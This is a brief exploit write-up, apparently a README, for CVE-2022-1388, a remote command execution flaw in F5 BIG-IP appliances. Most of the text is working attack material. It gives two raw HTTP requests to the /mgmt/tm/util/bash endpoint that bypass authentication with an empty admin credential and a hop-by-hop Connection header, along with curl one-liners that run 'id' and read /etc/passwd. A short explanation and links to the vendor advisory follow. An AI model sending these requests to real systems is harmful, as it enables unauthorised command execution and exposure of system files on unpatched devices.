# F5 BIG-IP RCE exploitation (CVE-2022-1388) POST (1): POST /mgmt/tm/util/bash HTTP/1.1 Host: <redacted>:8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 {"command": "run" , "utilCmdArgs": " -c 'id' " } curl commandliner: $ curl -i -s -k -X $'POST' -H $'Host: <redacted>:8443' -H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'X-F5-Auth-Token: 0' -H $'Content-Length: 52' --data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \'id\' \" }\x0d\x0a' $'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080 POST (2): POST /mgmt/tm/util/bash HTTP/1.1 Host: <redateced>:8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 {"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " } curl commandliner: $ curl -i -s -k -X $'POST' -H $'Host: <redacted>:8443' -H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'X-F5-Auth-Token: 0' --data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \' cat /etc/passwd\' \" }\x0d\x0a\x0d\x0a' $'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080 Note: Issue could be related between frontend and backend authentication "Jetty" with empty credentials "admin: <empty>" + value of headers ,see "HTTP hop_by_hop request headers"... References and Fixes : * https://support.f5.com/csp/article/K23605346 * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388 Here the documentation used latest nites: * https://clouddocs.f5.com/api/icontrol-rest/ HTTP hop_by_hop request headers: * https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open # Author Alex Hernandez aka @_alt3kx_